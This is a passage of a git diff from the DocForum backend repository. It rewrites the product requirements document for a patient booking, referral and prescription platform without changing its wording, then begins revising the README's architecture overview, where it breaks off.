admins, government health record integrators, emergency/ambulance dispatch. - -## 4. Core user flows (v1 scope) - -1. **Signup/Login** β€” patient and doctor accounts, separate roles. -2. **Doctor discovery** β€” search/filter by specialty and available time slots. -3. **Booking + intake** β€” patient books a slot and submits a structured description of the issue (symptoms, duration, severity β€” not free-text-only, to support future triage). -4. **Consultation record** β€” doctor views intake, conducts consultation (channel TBD β€” see Open Questions), writes consultation notes. -5. **Referral** β€” doctor marks the consult as "out of scope," selects a specialty (or a specific specialist), attaches notes, and the referral becomes a new bookable item in the specialist's queue **without the patient re-entering intake data**. -6. **Specialist consultation** β€” specialist sees original intake + referring doctor's notes, consults, and can issue: - - a **prescription** (medication list, dosage, duration), and/or - - a **lab order** (test type, urgency, notes). -7. **Fulfillment routing** β€” patient sees a list of qualified/partnered labs and pharmacies that can fulfill their specific order and can select one. -8. **Fulfillment closure** β€” lab/pharmacy marks the order fulfilled and (for labs) can attach results, which become visible to the patient and the ordering doctor. - -## 5. Explicit non-goals (v1) - -- Real-time video/audio consultation infrastructure (evaluate build-vs-buy; not core IP). -- Insurance claims processing or billing. -- Full EHR/EMR interoperability (HL7/FHIR export) β€” noted as a future integration point, not a v1 requirement. -- Emergency/triage-critical routing (this is *not* a replacement for emergency services). -- Multi-country regulatory compliance (HIPAA, NDPR, GDPR) β€” architecture should not preclude it, but full compliance program is a separate workstream. -- Native mobile apps (v1 is responsive web; native wrapper is a later phase). - -## 6. Functional requirements - -### 6.1 Identity & access -- FR-1: Patients and Doctors are distinct roles with distinct capabilities; a Lab and Pharmacy are facility accounts, not individual "doctor" accounts. -- FR-2: A doctor has one or more specialties; specialty is a controlled vocabulary, not free text. -- FR-3: Only verified doctors can appear in search results (verification workflow is manual/admin-gated in v1). - -### 6.2 Discovery & booking -- FR-4: Patients can search doctors by specialty and see real availability (no double-booking). -- FR-5: A booking requires a structured intake payload before confirmation. - -### 6.3 Consultation & referral -- FR-6: A doctor can close a consultation with one of: **resolved**, **referred**, **needs follow-up**. -- FR-7: A referral must carry forward: original intake, consultation notes, referring doctor identity, and target specialty (specific doctor optional). -- FR-8: A referred patient's new booking is pre-populated; the patient is not asked to re-enter the same intake data. -- FR-9: A referral has a status lifecycle: `pending β†’ accepted β†’ completed` (or `declined`, see Hard Questions). - -### 6.4 Orders (prescriptions & labs) -- FR-10: A prescription is structured (drug, dosage, frequency, duration) β€” not a free-text note β€” so it can be read unambiguously by a pharmacy. -- FR-11: A lab order specifies test type(s) and urgency. -- FR-12: Every order is tied to exactly one prescribing doctor and one patient and is immutable once issued (corrections create a new version, not an edit β€” see Architecture). -- FR-13: Patients can view a list of facilities (lab/pharmacy) qualified to fulfill their specific order type. -- FR-14: Facilities can mark an order `fulfilled` and, for labs, attach a result. - -### 6.5 Notifications -- FR-15: Patient is notified on: booking confirmed, referral created, order ready for fulfillment, results available. -- FR-16: Doctor is notified on: new booking, referral accepted/declined, lab results returned. - -## 7. Non-functional requirements - -- **Auditability**: every state transition on a referral, prescription, or lab order must be attributable (who, when) β€” this is health data. -- **Data integrity over convenience**: orders are append-only/versioned, not mutable, for legal/clinical safety. -- **Availability correctness**: double-booking a doctor's slot is a P0 bug class, not a minor bug. -- **Privacy**: patient intake and consultation notes are only visible to the patient, the treating doctor(s) in that care thread, and the fulfilling facility for the specific order (not the whole record). -- **Latency**: search/booking flows should feel instant (<300ms server response for read paths) β€” not a hard SLA yet, just a design constraint. - -## 8. Hard questions (must stay answered or explicitly deferred β€” do not silently drop) - -### 8.1 What do we think would break? -1. **Double-booking under concurrency** β€” two patients booking the same slot simultaneously without a locking/transaction strategy at the DB level. This is the single most likely v1 bug class. **Resolved 2026-09-14:** `availability/repositories.ts`'s `claimOpenSlot` (a conditional `UPDATE ... WHERE status = 'open'`) makes this a DB-level guarantee, not an app-logic one. Proven by `backend/tests/integration/booking.test.mts` β€” 8 genuinely concurrent booking requests on the same slot, exactly 1 succeeds, verified against a real Postgres instance every run. -2. **Referral loops** β€” Doctor A refers to specialty B, specialist in B refers back to A or sideways to C, with no cycle detection or max-hop limit β†’ patient stuck in a referral loop with no human-visible "this isn't working" signal. **Resolved 2026-10-17 (Phase 3, issue #65):** every referral carries a lineage (`parent_referral_id`, derived consultation β†’ appointment β†’ referral), the creation transaction walks that chain with a bounded CTE (default `REFERRAL_MAX_HOPS = 4`), and a target doctor or specialty that already appears **anywhere** in the chain β€” including the original referring GP β€” is *flagged* (`loop_flagged_at`/`loop_flag_reason`) and surfaced in the admin queue rather than silently allowed or hard-blocked (a human decides whether the repeat is clinically legitimate). Self-referral and hop-limit overflow are hard `422` rejections. Unit-tested (`tests/unit/referral-loop.test.ts`) and integration-tested end-to-end (`tests/integration/referral-loops.test.mts`). -3. **Orphaned orders** β€” a prescription/lab order issued, but the patient never selects a fulfilling facility, and there is no reminder/expiry logic β†’ orders silently rot. **Referral half partly addressed 2026-10-17 (issue #67):** repeated no-shows on a referral-origin appointment now expire the referral and flag the referring doctor. **Still open:** time-based expiry (a pending referral nobody accepts, a held slot nobody books, and orders generally) has no job yet β€” issues #8 and #19; orders themselves stay Phase 4. -4. **Referral context loss** β€” if referral doesn't strictly carry forward intake + notes (FR-7/FR-8 not enforced at the data layer), the whole value proposition (no re-explaining) quietly breaks and nobody notices until a patient complains. **Notes half resolved 2026-10-17 (issue #5):** `Referral.snapshotNotes` is a copy written in the creation transaction and there is no consultation-editing path that could reach it; acceptance re-books through the real slot-claim path carrying the same snapshot, so no re-intake happens. The **intake** half is not enforceable yet β€” `IntakeForm` doesn't exist (issue #1) and `Referral.snapshotIntakeId` is deliberately absent rather than faked. Flagged, not dropped. -5. **Specialty mismatch at signup** β€” doctors self-select specialty with no verification β†’ patients get referred into a specialty the doctor doesn't actually practice. -6. **Facility fulfillment integrity** β€” nothing currently stops a facility from marking an order "fulfilled" without actually doing the work, or a patient walking into an unqualified/non-partnered facility with a screenshot of an order. **Resolved 2026-10-20 (Phase 4, issue #76):** Facility fulfillment requires a mandatory reference number and optional file attachment (receipt/proof) stored via the StorageProvider interface. Fulfillment updates are append-only. Patients can confirm receipt (`POST /orders/:id/confirm-receipt`) or dispute the order (`POST /orders/:id/dispute` with a required reason) within a configurable window (`ORDER_CONFIRMATION_WINDOW_HOURS`). Confirm and dispute are mutually exclusive, enforced with DB conditional updates. Orders carry a derived `confirmedSignal` boolean (true if confirmed by patient or window elapsed without dispute). Disputed orders enter an admin queue for review and append-only resolution. - -### 8.2 What edge cases are we missing? -1. Patient has **no matching specialist available** (none online / none accepting new patients) after a referral β€” what happens? **Narrowed twice, still open (2026-10-17; 2026-10-21 with issue #6).** With routing at creation (ADR 0008), "nobody exists in this specialty" is caught *before* a referral exists β€” the referring doctor gets `422 REFERRAL_NO_ELIGIBLE_TARGET` instead of handing the patient an orphan. The remaining dead end is "the routed/named doctor never offers a slot": the referral sits `pending` until issue #8's time-based expiry or an admin in the queue (#68) finds it. Routing deliberately does **not** filter on open slots, so this is not closed by the routing rule. -2. Doctor **refers to a specialty with zero verified doctors on the platform** β€” dead end. **Resolved at the point of referral, 2026-10-21 (Phase 3, issue #6 β€” `docs/adr/0008-referral-routing-without-target-doctor.md`):** a specialty-only referral is routed at creation to the least-loaded eligible doctor; when no verified doctor holds the specialty, the creation fails with `422 REFERRAL_NO_ELIGIBLE_TARGET` and **no referral row is written**, so the patient is never handed a referral with no owner. The distinct patient-facing "waiting for a specialist" state that issue #5's DoD asked for is *still not built* β€” it requires a referral to exist before it has a target, which the ADR deliberately rejects; that stays a known gap, not a silent substitution. -3. Patient **cancels or no-shows** after a referral was already created downstream. **Resolved 2026-10-17 (issue #67):** the appointment status transition and the referral state change happen in one transaction, so a referral can never be left `accepted` behind a dead appointment. Cancelled β†’ referral returns to `pending` (slot released, re-bookable, same snapshot); first no-show β†’ `pending` with `noShowCount = 1`; second no-show β†’ `expired` with `referring_doctor_notified_at` set (threshold is a deliberately boring default, not a tuned one). Every write is conditional on the referral still pointing at that appointment, so a doubled hook is a no-op β€” integration-tested in `tests/integration/referral-cascade.test.mts`. -4. **Multiple simultaneous referrals** β€” can a single consultation spawn more than one referral (e.g., "see both cardiology and endocrinology")? **Resolved 2026-10-17 (issue #66, decision recorded in `docs/adr/0006-multiple-referrals-per-consultation.md`):** yes β€” an atomic all-or-none batch (`POST /referrals/from-consultation/:consultationId`, equivalently `POST /consultations/:id/referrals`) whose referrals then live **independently** (accept/decline each on its own; no bundle lifecycle). Duplicate doctor *or* specialty within a batch, or against a referral already made from that consultation, fails the whole batch. Each target gets its own snapshot copy, and `GET /referrals/mine` groups them by source consultation for the patient's "one visit, several referrals" view. -5. **Minor/dependent patients** β€” booking on behalf of a child or dependent; consent and account ownership model undefined. **Resolved (re-scoped) 2026-10-17, issue #42 β€” `docs/adr/0011`:** dependents are guardian-owned patient profiles with no login, created (never linked) by a patient guardian; the guardian can list them, book for them and see their appointments; access ends automatically at the age of majority (configurable, default 18) and the history stays with the dependent's own profile. Still open, by design: verifying guardianship beyond self-assertion, the at-majority account-claim flow, and any care a guardian shouldn't see before majority (jurisdiction-specific consent). -6. **Doctor moonlighting across facilities** β€” same doctor, multiple hospitals/clinics, different availability per location β€” v1 assumes one doctor = one availability calendar, which may be wrong. -7. **Lab result requiring urgent follow-up** β€” abnormal result with no automatic escalation path back to a doctor. -8. **Prescription drug interaction** β€” no interaction/allergy checking in v1; is that acceptable to ship, or a blocking safety requirement? -9. **Time zone handling** for availability if the platform ever spans regions. - -### 8.3 What's overengineered (for v1)? -1. **Building in-app video/voice infra from scratch** β€” should almost certainly be a third-party embed (Twilio/Daily/Agora) or even deferred to phone/in-person for v1, not custom WebRTC. -2. **Full HL7/FHIR interoperability** β€” premature; a simple internal schema that *could* map to FHIR later is enough now. -3. **Recommendation/ranking algorithms for "best doctor for your symptom"** β€” v1 needs correct specialty-based search, not ML matching. -4. **Multi-tenant hospital-admin console with granular RBAC** β€” v1 needs three roles (patient, doctor, facility) done well, not a configurable permissions matrix. -5. **Real-time chat infrastructure with delivery receipts/typing indicators** β€” a simple threaded message log per consultation is enough to start. -6. **Building a custom scheduling/calendar engine with recurrence rules, buffers, etc.** β€” start with fixed-length slot generation; recurrence and smart buffering is a v2 problem. - -## 9. Open questions (block v1 decisions, need answers before/while building) - -- OQ-1: Is the doctor-patient "consultation" in-app (chat/video) or does the app only manage scheduling/records while the consult happens in person? This materially changes scope (see 8.3.1). **Assume in-person + async messaging for v1 unless overridden.** -- OQ-2: Who can create Lab/Pharmacy facility accounts β€” self-serve signup or admin-invited only? **Assume admin-invited (curated partner list) for v1** to protect FR-13/8.1.6. **Confirmed and implemented (Phase 5, issue #14):** admin-only `POST /facilities` is the only creation path, `POST /auth/signup` refuses the role, and capability matching in `/facilities/eligible` fails closed. -- OQ-3: Does a referral require patient consent/acceptance before it books, or is it automatic? **Assume patient must confirm** (aligns with FR-9 `pending β†’ accepted`). -- OQ-4: Payment β€” is this free, insurance-billed, or paid per consultation? **Out of scope for v1**, but data model should not preclude adding a `payment_status` later. - -## 10. Success metrics (draft β€” revisit once instrumented) - -- Time from "patient opens app with symptom" to "patient has a prescription or lab order" (target: reduce vs. baseline in-person path). -- Referral completion rate (% of referrals that reach `completed`, not abandoned). -- % of orders fulfilled within N days of issuance. -- Doctor no-show / patient no-show rate. - -## 11. Phased scope pointer - -See `ROADMAP.md` for the phase breakdown and current status. This PRD defines *what*; ROADMAP.md defines *when/in what order*. +# PRD.md β€” DocForum + +Status: Draft v0.1 +Owner: (unassigned) +Last updated: 2026-09-09 + +> **Contribution rule:** Any PR that changes scope, models, or phases must update this file (or ROADMAP.md if it's execution-only) in the same PR. See AGENTS.md / CLAUDE.md. + +--- + +## 1. Problem + +Patients in hospital settings waste significant time physically waiting: to see a doctor, to discover the doctor they see isn't the right specialist, to get re-referred, and to chase lab/pharmacy results across disconnected systems. There is no single flow that takes a patient from "I have a symptom" to "I have a diagnosis, prescription, and lab results" without repeated in-person queuing at each step. + +## 2. Product summary + +DocForum is a web/app platform where a patient can: + +1. Create an account and log in. +2. Search for doctors by availability and (eventually) specialty/symptom. +3. Book a slot and describe their issue in a structured intake form before the visit. +4. Consult with the doctor (in-app messaging/video, or in-person booking β€” see Open Questions). +5. If the doctor determines the issue is outside their specialty, the doctor refers the patient in-app to a qualified specialist β€” the patient does not restart the process from scratch. +6. The specialist consults and can issue a prescription and/or a lab test order. +7. The patient takes that order to a qualified/partnered lab or pharmacy, which fulfills it and reports back into the system. + +The core value proposition: **collapse a multi-visit, multi-queue hospital journey into one continuous digital thread**, with referrals and orders following the patient instead of the patient re-explaining themselves at every desk. + +## 3. Who it's for (personas) + +| Persona | Need | +|---|---| +| **Patient** | Wants to be seen quickly, avoid re-explaining their issue, avoid guessing which specialist to book, and track prescriptions/lab orders in one place. | +| **General/first-contact Doctor** | Needs to triage quickly, refer confidently, and hand off patient context without a phone call or paper note. | +| **Specialist Doctor** | Needs to receive referrals with full context (original complaint + referring doctor's notes), consult, and issue orders. | +| **Lab Technician / Pharmacist** | Needs to receive verified, unambiguous orders tied to a real prescribing doctor and patient, fulfill them, and report results back. | +| **Hospital/Clinic Admin** (implied, not yet a primary persona) | Needs to manage which doctors/labs/pharmacies are on the platform and their availability. | + +**Out of scope for v1 personas:** insurance/billing admins, government health record integrators, emergency/ambulance dispatch. + +## 4. Core user flows (v1 scope) + +1. **Signup/Login** β€” patient and doctor accounts, separate roles. +2. **Doctor discovery** β€” search/filter by specialty and available time slots. +3. **Booking + intake** β€” patient books a slot and submits a structured description of the issue (symptoms, duration, severity β€” not free-text-only, to support future triage). +4. **Consultation record** β€” doctor views intake, conducts consultation (channel TBD β€” see Open Questions), writes consultation notes. +5. **Referral** β€” doctor marks the consult as "out of scope," selects a specialty (or a specific specialist), attaches notes, and the referral becomes a new bookable item in the specialist's queue **without the patient re-entering intake data**. +6. **Specialist consultation** β€” specialist sees original intake + referring doctor's notes, consults, and can issue: + - a **prescription** (medication list, dosage, duration), and/or + - a **lab order** (test type, urgency, notes). +7. **Fulfillment routing** β€” patient sees a list of qualified/partnered labs and pharmacies that can fulfill their specific order and can select one. +8. **Fulfillment closure** β€” lab/pharmacy marks the order fulfilled and (for labs) can attach results, which become visible to the patient and the ordering doctor. + +## 5. Explicit non-goals (v1) + +- Real-time video/audio consultation infrastructure (evaluate build-vs-buy; not core IP). +- Insurance claims processing or billing. +- Full EHR/EMR interoperability (HL7/FHIR export) β€” noted as a future integration point, not a v1 requirement. +- Emergency/triage-critical routing (this is *not* a replacement for emergency services). +- Multi-country regulatory compliance (HIPAA, NDPR, GDPR) β€” architecture should not preclude it, but full compliance program is a separate workstream. +- Native mobile apps (v1 is responsive web; native wrapper is a later phase). + +## 6. Functional requirements + +### 6.1 Identity & access +- FR-1: Patients and Doctors are distinct roles with distinct capabilities; a Lab and Pharmacy are facility accounts, not individual "doctor" accounts. +- FR-2: A doctor has one or more specialties; specialty is a controlled vocabulary, not free text. +- FR-3: Only verified doctors can appear in search results (verification workflow is manual/admin-gated in v1). + +### 6.2 Discovery & booking +- FR-4: Patients can search doctors by specialty and see real availability (no double-booking). +- FR-5: A booking requires a structured intake payload before confirmation. + +### 6.3 Consultation & referral +- FR-6: A doctor can close a consultation with one of: **resolved**, **referred**, **needs follow-up**. +- FR-7: A referral must carry forward: original intake, consultation notes, referring doctor identity, and target specialty (specific doctor optional). +- FR-8: A referred patient's new booking is pre-populated; the patient is not asked to re-enter the same intake data. +- FR-9: A referral has a status lifecycle: `pending β†’ accepted β†’ completed` (or `declined`, see Hard Questions). + +### 6.4 Orders (prescriptions & labs) +- FR-10: A prescription is structured (drug, dosage, frequency, duration) β€” not a free-text note β€” so it can be read unambiguously by a pharmacy. +- FR-11: A lab order specifies test type(s) and urgency. +- FR-12: Every order is tied to exactly one prescribing doctor and one patient and is immutable once issued (corrections create a new version, not an edit β€” see Architecture). +- FR-13: Patients can view a list of facilities (lab/pharmacy) qualified to fulfill their specific order type. +- FR-14: Facilities can mark an order `fulfilled` and, for labs, attach a result. + +### 6.5 Notifications +- FR-15: Patient is notified on: booking confirmed, referral created, order ready for fulfillment, results available. +- FR-16: Doctor is notified on: new booking, referral accepted/declined, lab results returned. + +## 7. Non-functional requirements + +- **Auditability**: every state transition on a referral, prescription, or lab order must be attributable (who, when) β€” this is health data. +- **Data integrity over convenience**: orders are append-only/versioned, not mutable, for legal/clinical safety. +- **Availability correctness**: double-booking a doctor's slot is a P0 bug class, not a minor bug. +- **Privacy**: patient intake and consultation notes are only visible to the patient, the treating doctor(s) in that care thread, and the fulfilling facility for the specific order (not the whole record). +- **Latency**: search/booking flows should feel instant (<300ms server response for read paths) β€” not a hard SLA yet, just a design constraint. + +## 8. Hard questions (must stay answered or explicitly deferred β€” do not silently drop) + +### 8.1 What do we think would break? +1. **Double-booking under concurrency** β€” two patients booking the same slot simultaneously without a locking/transaction strategy at the DB level. This is the single most likely v1 bug class. **Resolved 2026-09-14:** `availability/repositories.ts`'s `claimOpenSlot` (a conditional `UPDATE ... WHERE status = 'open'`) makes this a DB-level guarantee, not an app-logic one. Proven by `backend/tests/integration/booking.test.mts` β€” 8 genuinely concurrent booking requests on the same slot, exactly 1 succeeds, verified against a real Postgres instance every run. +2. **Referral loops** β€” Doctor A refers to specialty B, specialist in B refers back to A or sideways to C, with no cycle detection or max-hop limit β†’ patient stuck in a referral loop with no human-visible "this isn't working" signal. **Resolved 2026-10-17 (Phase 3, issue #65):** every referral carries a lineage (`parent_referral_id`, derived consultation β†’ appointment β†’ referral), the creation transaction walks that chain with a bounded CTE (default `REFERRAL_MAX_HOPS = 4`), and a target doctor or specialty that already appears **anywhere** in the chain β€” including the original referring GP β€” is *flagged* (`loop_flagged_at`/`loop_flag_reason`) and surfaced in the admin queue rather than silently allowed or hard-blocked (a human decides whether the repeat is clinically legitimate). Self-referral and hop-limit overflow are hard `422` rejections. Unit-tested (`tests/unit/referral-loop.test.ts`) and integration-tested end-to-end (`tests/integration/referral-loops.test.mts`). +3. **Orphaned orders** β€” a prescription/lab order issued, but the patient never selects a fulfilling facility, and there is no reminder/expiry logic β†’ orders silently rot. **Referral half partly addressed 2026-10-17 (issue #67):** repeated no-shows on a referral-origin appointment now expire the referral and flag the referring doctor. **Still open:** time-based expiry (a pending referral nobody accepts, a held slot nobody books, and orders generally) has no job yet β€” issues #8 and #19; orders themselves stay Phase 4. +4. **Referral context loss** β€” if referral doesn't strictly carry forward intake + notes (FR-7/FR-8 not enforced at the data layer), the whole value proposition (no re-explaining) quietly breaks and nobody notices until a patient complains. **Notes half resolved 2026-10-17 (issue #5):** `Referral.snapshotNotes` is a copy written in the creation transaction and there is no consultation-editing path that could reach it; acceptance re-books through the real slot-claim path carrying the same snapshot, so no re-intake happens. The **intake** half is not enforceable yet β€” `IntakeForm` doesn't exist (issue #1) and `Referral.snapshotIntakeId` is deliberately absent rather than faked. Flagged, not dropped. +5. **Specialty mismatch at signup** β€” doctors self-select specialty with no verification β†’ patients get referred into a specialty the doctor doesn't actually practice. +6. **Facility fulfillment integrity** β€” nothing currently stops a facility from marking an order "fulfilled" without actually doing the work, or a patient walking into an unqualified/non-partnered facility with a screenshot of an order. **Resolved 2026-10-20 (Phase 4, issue #76):** Facility fulfillment requires a mandatory reference number and optional file attachment (receipt/proof) stored via the StorageProvider interface. Fulfillment updates are append-only. Patients can confirm receipt (`POST /orders/:id/confirm-receipt`) or dispute the order (`POST /orders/:id/dispute` with a required reason) within a configurable window (`ORDER_CONFIRMATION_WINDOW_HOURS`). Confirm and dispute are mutually exclusive, enforced with DB conditional updates. Orders carry a derived `confirmedSignal` boolean (true if confirmed by patient or window elapsed without dispute). Disputed orders enter an admin queue for review and append-only resolution. + +### 8.2 What edge cases are we missing? +1. Patient has **no matching specialist available** (none online / none accepting new patients) after a referral β€” what happens? **Narrowed twice, still open (2026-10-17; 2026-10-21 with issue #6).** With routing at creation (ADR 0008), "nobody exists in this specialty" is caught *before* a referral exists β€” the referring doctor gets `422 REFERRAL_NO_ELIGIBLE_TARGET` instead of handing the patient an orphan. The remaining dead end is "the routed/named doctor never offers a slot": the referral sits `pending` until issue #8's time-based expiry or an admin in the queue (#68) finds it. Routing deliberately does **not** filter on open slots, so this is not closed by the routing rule. +2. Doctor **refers to a specialty with zero verified doctors on the platform** β€” dead end. **Resolved at the point of referral, 2026-10-21 (Phase 3, issue #6 β€” `docs/adr/0008-referral-routing-without-target-doctor.md`):** a specialty-only referral is routed at creation to the least-loaded eligible doctor; when no verified doctor holds the specialty, the creation fails with `422 REFERRAL_NO_ELIGIBLE_TARGET` and **no referral row is written**, so the patient is never handed a referral with no owner. The distinct patient-facing "waiting for a specialist" state that issue #5's DoD asked for is *still not built* β€” it requires a referral to exist before it has a target, which the ADR deliberately rejects; that stays a known gap, not a silent substitution. +3. Patient **cancels or no-shows** after a referral was already created downstream. **Resolved 2026-10-17 (issue #67):** the appointment status transition and the referral state change happen in one transaction, so a referral can never be left `accepted` behind a dead appointment. Cancelled β†’ referral returns to `pending` (slot released, re-bookable, same snapshot); first no-show β†’ `pending` with `noShowCount = 1`; second no-show β†’ `expired` with `referring_doctor_notified_at` set (threshold is a deliberately boring default, not a tuned one). Every write is conditional on the referral still pointing at that appointment, so a doubled hook is a no-op β€” integration-tested in `tests/integration/referral-cascade.test.mts`. +4. **Multiple simultaneous referrals** β€” can a single consultation spawn more than one referral (e.g., "see both cardiology and endocrinology")? **Resolved 2026-10-17 (issue #66, decision recorded in `docs/adr/0006-multiple-referrals-per-consultation.md`):** yes β€” an atomic all-or-none batch (`POST /referrals/from-consultation/:consultationId`, equivalently `POST /consultations/:id/referrals`) whose referrals then live **independently** (accept/decline each on its own; no bundle lifecycle). Duplicate doctor *or* specialty within a batch, or against a referral already made from that consultation, fails the whole batch. Each target gets its own snapshot copy, and `GET /referrals/mine` groups them by source consultation for the patient's "one visit, several referrals" view. +5. **Minor/dependent patients** β€” booking on behalf of a child or dependent; consent and account ownership model undefined. **Resolved (re-scoped) 2026-10-17, issue #42 β€” `docs/adr/0011`:** dependents are guardian-owned patient profiles with no login, created (never linked) by a patient guardian; the guardian can list them, book for them and see their appointments; access ends automatically at the age of majority (configurable, default 18) and the history stays with the dependent's own profile. Still open, by design: verifying guardianship beyond self-assertion, the at-majority account-claim flow, and any care a guardian shouldn't see before majority (jurisdiction-specific consent). +6. **Doctor moonlighting across facilities** β€” same doctor, multiple hospitals/clinics, different availability per location β€” v1 assumes one doctor = one availability calendar, which may be wrong. +7. **Lab result requiring urgent follow-up** β€” abnormal result with no automatic escalation path back to a doctor. +8. **Prescription drug interaction** β€” no interaction/allergy checking in v1; is that acceptable to ship, or a blocking safety requirement? +9. **Time zone handling** for availability if the platform ever spans regions. + +### 8.3 What's overengineered (for v1)? +1. **Building in-app video/voice infra from scratch** β€” should almost certainly be a third-party embed (Twilio/Daily/Agora) or even deferred to phone/in-person for v1, not custom WebRTC. +2. **Full HL7/FHIR interoperability** β€” premature; a simple internal schema that *could* map to FHIR later is enough now. +3. **Recommendation/ranking algorithms for "best doctor for your symptom"** β€” v1 needs correct specialty-based search, not ML matching. +4. **Multi-tenant hospital-admin console with granular RBAC** β€” v1 needs three roles (patient, doctor, facility) done well, not a configurable permissions matrix. +5. **Real-time chat infrastructure with delivery receipts/typing indicators** β€” a simple threaded message log per consultation is enough to start. +6. **Building a custom scheduling/calendar engine with recurrence rules, buffers, etc.** β€” start with fixed-length slot generation; recurrence and smart buffering is a v2 problem. + +## 9. Open questions (block v1 decisions, need answers before/while building) + +- OQ-1: Is the doctor-patient "consultation" in-app (chat/video) or does the app only manage scheduling/records while the consult happens in person? This materially changes scope (see 8.3.1). **Assume in-person + async messaging for v1 unless overridden.** +- OQ-2: Who can create Lab/Pharmacy facility accounts β€” self-serve signup or admin-invited only? **Assume admin-invited (curated partner list) for v1** to protect FR-13/8.1.6. **Confirmed and implemented (Phase 5, issue #14):** admin-only `POST /facilities` is the only creation path, `POST /auth/signup` refuses the role, and capability matching in `/facilities/eligible` fails closed. +- OQ-3: Does a referral require patient consent/acceptance before it books, or is it automatic? **Assume patient must confirm** (aligns with FR-9 `pending β†’ accepted`). +- OQ-4: Payment β€” is this free, insurance-billed, or paid per consultation? **Out of scope for v1**, but data model should not preclude adding a `payment_status` later. + +## 10. Success metrics (draft β€” revisit once instrumented) + +- Time from "patient opens app with symptom" to "patient has a prescription or lab order" (target: reduce vs. baseline in-person path). +- Referral completion rate (% of referrals that reach `completed`, not abandoned). +- % of orders fulfilled within N days of issuance. +- Doctor no-show / patient no-show rate. + +## 11. Phased scope pointer + +See `ROADMAP.md` for the phase breakdown and current status. This PRD defines *what*; ROADMAP.md defines *when/in what order*. diff --git a/README.md b/README.md index 00448a1c..67bc777c 100644 --- a/README.md +++ b/README.md @@ -1,219 +1,219 @@ -# docforum-core - -![License](https://img.shields.io/badge/license-Apache--2.0-blue.svg) -![Status](https://img.shields.io/badge/status-Phase%203%20in%20progress-yellow.svg) -![Stack](https://img.shields.io/badge/stack-Node.js%20%2B%20TypeScript-339933.svg) - -**The backend of DocForum** β€” a platform that collapses a multi-visit, -multi-queue hospital journey into one continuous digital thread. A patient -searches for a doctor, books a slot, gets referred to the right specialist -without re-explaining themselves, receives a prescription or lab order, and -gets it fulfilled at a qualified partner facility β€” all tracked end to end. - -This is the **hub repository** of the `DocForum` GitHub organization: it -owns the product definition (PRD), the full system architecture, the data -model, and the master roadmap that the other two repos are scoped against. - -**πŸ“– [Browse the docs site](https://docforum.github.io/docforum-core/)** β€” -PRD, architecture, ADRs, API reference, and every repo's roadmap in one -place, synced at build time from each repo's own files (see -[`docs/site/`](docs/site)). - ---- - -## Table of contents - -- [Organization layout](#organization-layout) -- [Tech stack](#tech-stack) -- [Domain model, at a glance](#domain-model-at-a-glance) -- [Backend modules](#backend-modules) -- [Repo layout](#repo-layout) -- [Documentation](#documentation) -- [Getting started](#getting-started) -- [Project status](#project-status) -- [Contributing](#contributing) -- [License](#license) - -## Organization layout - -`DocForum` is split across three independently-versioned repositories. -This repo is the only one with direct database and PHI (protected health -information) access; the other two are deliberately narrow. - -```mermaid -flowchart LR - subgraph docforum-web["docforum-web (frontend)"] - UI["React + Vite client"] - end - subgraph docforum-core["docforum-core (this repo)"] - API["Modular-monolith API"] - DB[("PostgreSQL\n(Prisma)")] - API --- DB - end - subgraph docforum-escrow["docforum-escrow"] - Contract["Soroban escrow contract"] - SDK["@docforum/escrow-sdk"] - SDK --- Contract - end - - UI -->|HTTPS API calls only| API - API -->|imports SDK as a library,\nnever a network call| SDK -``` - -- **[`docforum-web`](https://github.com/DocForum/docforum-web)** β€” React/TypeScript frontend. Talks only to this repo's API; never calls `docforum-escrow` or Stellar directly. -- **[`docforum-escrow`](https://github.com/DocForum/docforum-escrow)** β€” Rust/Soroban escrow contract + `@docforum/escrow-sdk`. Consumed here as a *library dependency* by the `payments` module, never called as a running network service β€” see [`docs/adr/0002-stellar-escrow-for-fulfillment-payout.md`](docs/adr/0002-stellar-escrow-for-fulfillment-payout.md). - -Why the split, and why it doesn't contradict "modular monolith, not -microservices" (`ARCHITECTURE.md` Β§1): see -[`docs/adr/0001-modular-monolith.md`](docs/adr/0001-modular-monolith.md) and -[`docs/adr/0002-stellar-escrow-for-fulfillment-payout.md`](docs/adr/0002-stellar-escrow-for-fulfillment-payout.md). - -## Tech stack - -| Layer | Choice | -|---|---| -| Runtime / language | Node.js + TypeScript | -| API framework | Express (or Fastify) | -| Database | PostgreSQL | -| ORM / schema | Prisma (`backend/prisma/schema.prisma` is the source of truth) | -| Auth | JWT access + refresh tokens, role claims (`patient` \| `doctor` \| `facility` \| `admin`) | -| Jobs | Simple cron/interval β€” no queue until a real job needs one | -| Payments | Stellar escrow via `@docforum/escrow-sdk` (see `docforum-escrow`), never custom payment rails | - -Full rationale for every choice: [`ARCHITECTURE.md` Β§2](ARCHITECTURE.md#2-tech-stack). - -## Domain model, at a glance - -``` -User ─┬─ PatientProfile - β”œβ”€ DoctorProfile ──< DoctorSpecialty >── Specialty - └─ FacilityProfile ──< FacilityCapability - -AvailabilitySlot (doctor's calendar) β†’ Appointment β†’ IntakeForm, Consultation -Consultation ──(outcome = referred)──▢ Referral (immutable snapshot!) β†’ new Appointment -Referral ──▢ AuditEvent (append-only admin actions) -Consultation β†’ Prescription (+ PrescriptionItem) / LabOrder (+ LabResult) -FulfillmentRecord (facility-owned) references an order but never mutates it -PaymentIntent / WalletLink β€” relational metadata only; contract logic lives in docforum-escrow -``` - -Full field-level schema: [`ARCHITECTURE.md` Β§4](ARCHITECTURE.md#4-data-models) and [`backend/prisma/schema.prisma`](backend/prisma/schema.prisma) (the two must never drift β€” schema wins if they do). - -**Non-negotiable invariants**, enforced at the architecture level, not just by convention: -- A `Prescription` or `LabOrder` is never mutated after issuance β€” corrections create a new row via `supersedes_*_id`. -- Availability booking uses a DB-level conditional update/transaction β€” never an app-level "check then write" (double-booking is the #1 predicted bug class). -- A `Referral` snapshots intake + consultation notes at creation time β€” it never reads live from the source `Consultation`. -- A facility writes only to its own `FulfillmentRecord`; it never touches `Prescription.status` / `LabOrder.status` directly. - -## Backend modules - -Each module owns its own `routes/ controllers/ services/ repositories/` and is only ever accessed by other modules through its service interface (`backend/src/modules//`): - -`auth` Β· `users` Β· `patients` Β· `doctors` Β· `facilities` Β· `availability` Β· `appointments` Β· `consultations` Β· `referrals` Β· `prescriptions` Β· `lab-orders` Β· `pharmacy-orders` Β· `payments` Β· `notifications` - -`payments` is the only module allowed to import `@docforum/escrow-sdk`. - -## Repo layout - -``` -backend/ - prisma/schema.prisma Data model β€” source of truth - src/modules// routes/ controllers/ services/ repositories/ per module - src/middleware/ auth, error handling - src/config/ environment/config loading - 